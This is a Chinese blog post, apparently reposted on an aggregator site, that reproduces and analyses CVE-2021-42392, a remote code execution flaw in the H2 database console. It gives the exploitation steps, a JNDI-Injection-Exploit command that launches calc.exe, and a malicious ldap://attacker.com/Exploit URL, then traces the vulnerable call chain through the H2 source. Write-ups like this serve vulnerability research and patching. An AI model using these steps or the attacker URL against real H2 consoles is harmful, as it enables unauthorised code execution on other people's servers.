Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

这篇具有很好参考价值的文章主要介绍了Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞版本

1.1.100 <= H2 Console <= 2.0.204

漏洞复现

此处复现版本1.4.197
启动项目如下
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

在Driver Class中输入javax.naming.InitialContext
在JDBCURL中输入jndi注入恶意链接
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
生成链接命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 服务器ip

因为项目环境是jdk1.7,因此我们用1.7的jndi,其他版本均不生效

漏洞分析

通过漏洞公布,可以看到是在org.h2.util.JdbcUtils.getConnection的javax.naming.Context出问题的
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)告诉我们只需要提供一个javax.naming.InitialContext作为driver class和提供一个ldap://attacker.com/Exploit恶意的url即可远程命令执行

那么我们看看代码,找到问题所在处下断点org.h2.util.JdbcUtils
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

到311行弹出计算器
下断点后,我们可以看到整体调用栈,从下往上的顺序,那么我们逆着来
首先这里isAssignableFrom
A.isAssignableFrom(B) 确定一个类(B)是不是继承来自于另一个父类(A)
那么也就是说这里判断d是不是javax.naming.Context的类或者子类,d来自290行,用loadUserClass自定义的类加载
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
可以看到class javax.naming.InitialContext是javax.naming.Contex的子类,因此进入if
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
按照审计思路来看,先不调试跟踪
因为context.lookup(url)在org.h2.util.JdbcUtils#getConnection中
那么查看getConnection调用
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
根据调用栈顺序,我们进入到org.h2.server.web.WebServer#getConnection方法,如下
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
那么我们继续找getConnection的调用
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
进入org.h2.server.web.WebApp#test
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
继续找test的调用
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
进入org.h2.server.web.WebApp#process方法
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
找process调用
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
进入org.h2.server.web.WebApp#processRequest方法
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
进入org.h2.server.web.WebThread#process方法
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
查看process调用
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
进入org.h2.server.web.WebThread#run方法
Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)
那么到run就结束了,可以看到通过javax.naming.InitialContext来进入if,来调用lookup来触发我们的恶意url,用WebThread线程类来处理文章来源地址https://www.toymoban.com/news/detail-512988.html

到了这里,关于Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • 从零开始:安装H2数据库的步骤解析

    从零开始:安装H2数据库的步骤解析

    在开发或编写示例时,有时需要用到数据库,如果本机上刚好没有安装,类似有些同学是临时借用的电脑或学校的电脑刚好没有安装时,我们可以使用H2数据库来快速代替,即方便又灵活。 步骤 1:下载H2数据库 访问H2数据库的官方网站(https://www.h2database.com/),并下载最新的

    2024年02月08日
    浏览(11)
  • java简述springboot内置数据库 并举例启动h2内存数据环境

    java简述springboot内置数据库 并举例启动h2内存数据环境

    在前面 我们讲了 springboot 给我们提供了 默认的 数据源 默认 HikariCP 以及其他两种内置数据源 持久化技术 JdbcTemplate 那么 说起来很多人难以置信 不过 springboot 也真的给我们内置了数据库技术 而且不止一种 是三种 这三个数据库的特点在于 它们都是用java语言写的 就表示 它们

    2024年02月04日
    浏览(10)
  • 服务攻防-数据库安全-Influxdb&H2database&CouchDB&ElasticSearch数据库漏洞复现

    服务攻防-数据库安全-Influxdb&H2database&CouchDB&ElasticSearch数据库漏洞复现

    目录 一、Influxdb-未授权访问-Jwt 验证不当 1、Infuxdb简介 2、安全问题 3、漏洞复现  二、H2database-未授权访问-配置不当 1、H2database简介 2、安全问题 3、漏洞复现  三、CouchDB-权限绕过配合RCE-漏洞 1、CouchDB简介 2、安全问题 3、漏洞复现  四 、ElasticSearch-文件写入RCE-漏洞 1、Ela

    2024年02月16日
    浏览(12)
  • 数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb漏洞复现

    数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb漏洞复现

    参考:influxdb CVE-2019-20933 靶场环境:vulhub 打开靶场进入环境: 访问: 端口扫描: 默认端口: 8086:用于客户端和服务端交互的HTTP API 8088 :用于提供备份和恢复的RPC服务 influxdb 是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启了认证, 但未设置参数 shared-s

    2024年02月06日
    浏览(14)
  • H2数据库配置及相关使用方式一站式介绍(极为详细并整理官方文档)

    H2数据库配置及相关使用方式一站式介绍(极为详细并整理官方文档)

    注意:可以直接移步至【2. H2数据库实战】目录下进行对H2数据库的快速使用 1.1 H2数据库介绍 官方文档地址: http://www.h2database.com/html/main.html H2的开发始于2004年5月, 但它在2005年12月14日首次发表。 H2的原作者Thomas Mueller也是Hypersonic SQL的原始开发者。 2001年,他加入PointBase公司

    2024年02月13日
    浏览(8)
  • 小迪安全 第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb 复现

    小迪安全 第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb 复现

    1.端口扫描 2.报错回显 时序数据库是近几年一个新的概念,与传统的Mysql关系型数据库相比,它的最大的特点是:数据按照时间顺序存储。 举例来说,日志数据,是以时间顺序存储的,所以用时序数据库存储是一种很好的选择。使用Mysql在存储的过程中,不是对这种基于时间

    2024年02月03日
    浏览(12)
  • 网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)

    网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)

    知识点: 1、服务攻防数据库类型安全 2、influxdb,.未授权访问wt验证 3、H2 database-未授权访问-配置不当 4、CouchDB-权限绕过配合RCE-漏洞 5、ElasticSearch-文件写入RCE-漏洞 #章节内容: 常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制特定安全漏洞 3、安全机制弱口令

    2024年01月23日
    浏览(30)
  • yml配置动态数据源(数据库@DS)与引起(If you want an embedded database (H2, HSQL or Derby))类问题

    yml配置动态数据源(数据库@DS)与引起(If you want an embedded database (H2, HSQL or Derby))类问题

    Druid连接池的自动配置类是DruidDataSourceAutoConfigure类上有一行注解 @EnableConfigurationProperties注解的作用是:使配置文件中的配置生效并且映射到指定类的属性 DruidStatProperties:指定的前缀是spring.datasource.druid,主要设置连接池的一些参数 DataSourceProperties:指定的前缀是spring.dataso

    2024年02月10日
    浏览(13)
  • H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)

    H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)

    H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远

    2024年02月14日
    浏览(13)
  • 【数据库原理】(32)数据库设计-数据库物理设计

    数据库的物理设计是数据库设计过程中至关重要的一个阶段。其核心目标是选择一个适合应用环境的物理结构,以满足特定的性能、存储和访问需求。这一阶段涉及的关键任务可以分为两个主要步骤: 1. 确定数据的物理结构 存储结构和存取方法的选择 :这包括决定数据在物

    2024年01月19日
    浏览(14)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包